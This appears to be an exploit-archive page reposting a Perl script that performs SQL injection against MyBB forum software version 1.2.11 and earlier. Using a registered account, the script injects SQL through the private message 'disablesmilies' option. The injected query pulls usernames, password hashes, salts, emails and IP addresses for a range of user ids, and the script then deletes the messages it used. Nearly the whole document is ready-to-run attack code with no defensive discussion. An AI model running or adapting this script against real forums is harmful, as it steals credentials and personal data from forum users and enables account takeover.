Home / os / win10

mybbprivate-sql.txt

Posted on 07 February 2008

#!/usr/bin/perl

#
# MyBB <=1.2.11 SQL Injection Exploit based on http://www.waraxe.us/advisory-64.html
#
# Needs MySQL >=4.1 and a valid registration.
#
# By F
#

use IO::Socket;
use LWP::UserAgent;
use HTTP::Cookies;
use HTML::Entities;

####

print("
");
print("############################################################################
");
print("#                 MyBB <=1.2.11 SQL Injection Exploit by F                 #
");
print("############################################################################
");

if(@ARGV<5){
print("# Usage: perl mybb1211.pl host path user pass victim_uid [last_victim_uid] #
");
print("############################################################################
");
exit;
};

$host="http://".$ARGV[0];
$path=$ARGV[1];
$user=$ARGV[2];
$pass=$ARGV[3];
$vid1=$ARGV[4];

if(@ARGV<=5){
$vidn=$vid1;
}else{
$vidn=$ARGV[5];
};

print("
");
print(" [~] Host: ".$host."
");
print(" [~] Path: ".$path."
");
print(" [~] User: ".$user."
");
print(" [~] Pass: ".$pass."
");
print(" [~] From  #".$vid1."
");
print(" [~] To    #".$vidn."
");
print("
");

####

# create $browser and $cookie_jar
$browser=LWP::UserAgent->new() or die(" [-] Cannot create new UserAgent
");
$cookie_jar=HTTP::Cookies->new();
$browser->cookie_jar($cookie_jar);

# try to log in
$result=$browser->post(
$host.$path."member.php",
Content=>[
"action"=>"do_login",
"username"=>$user,
"password"=>$pass,
"url"=>$host.$path."index.php",
"submit"=>"Login",
],
);

# check cookie
if($cookie_jar->as_string=~m/mybbuser=.*?;/){
print(" [+] Login successful
");
}else{
print(" [-] Login unsuccessful
");
exit;
};

# try to get uid
$result=$browser->get($host.$path."usercp.php");

# check result
if($result->as_string=~m/member.php?action=profile&amp;uid=([0-9]*?)"/){
$uid=$1;
print(" [+] Getting uid successful: ".$uid."
");
}else{
print(" [-] Getting uid unsuccessful
");
exit;
};

# construct exploit
$exploit ="yes','0','0'),";
$exploit.="('".$uid."','".$uid."','".$uid."','1','haxx_result','0',concat('(haxx_start)',";
for($vid=$vid1;$vid<=$vidn;$vid++){
$exploit.="ifnull((select concat(uid,'-',username,':',password,':',salt,'::',email,'-',usergroup,'-',additionalgroups,'-',website,'-',regip,'(haxx_delim)') from mybb_users where uid=".$vid."),''),";
};
$exploit.="'(haxx_end)'),'".time()."','0','no','yes";

# try to send exploit
$result=$browser->post(
$host.$path."private.php",
Content=>[
"action"=>"do_send",
"subject"=>"haxx_message=".(1+rand(65536)),
"message"=>"nuthin".(1+rand(65536)),
"to"=>$user,
"options[disablesmilies]"=>$exploit,
],
);

# check if user is valid
if(	($result->as_string=~m/Your account has either been suspended or you have been banned from accessing this resource./) ||
($result->as_string=~m/You do not have permission to access this page./) ||
($result->as_string=~m/Your account may still be awaiting activation or moderation./)
){
print(" [-] User has no permission to send private messages. This can happen if the user is suspended, banned, unactivated, or for other similar reasons.
");
exit;
};

# check the 5 minute cap
if($result->as_string=~m/You have already submitted the same private message to the same recipient within the last 5 minutes./){
print(" [-] Unsuccessful attempt to fool MyBB with the 5 minute limit on sending private messages. Please run the exploit again.
");
exit;
};

# delete auxiliary message
$result=$browser->get($host.$path."private.php?fid=1");
if($result->as_string=~m/private.php?action=read&amp;pmid=([0-9]*?)">haxx_message=[0-9]*?</){
print(" [+] The auxiliary message was found and successfully deleted
");
$pmid=$1;
$browser->get($host.$path."private.php?action=delete&pmid=".$pmid);
}else{
print(" [-] Warning! The auxiliary message wasn't found and could not be deleted!
");
};

# download and delete result message
if($result->as_string=~m/private.php?action=read&amp;pmid=([0-9]*?)">haxx_result</){
print(" [+] The result message was found. Getting hashes.

");
$pmid=$1;
$result=$browser->get($host.$path."private.php?action=read&pmid=".$pmid);
if($result->as_string=~m/(haxx_start)(.*)(haxx_end)/s){
$pm=$1;
$pm=~s/(haxx_delim)/
/g;
$pm=~s/<br />//g;
$pm=decode_entities($pm);
print($pm);
};
$browser->get($host.$path."private.php?action=delete&pmid=".$pmid);
}else{
print(" [-] The result message wasn't found. Exploit failed!
");
exit;
};

 

TOP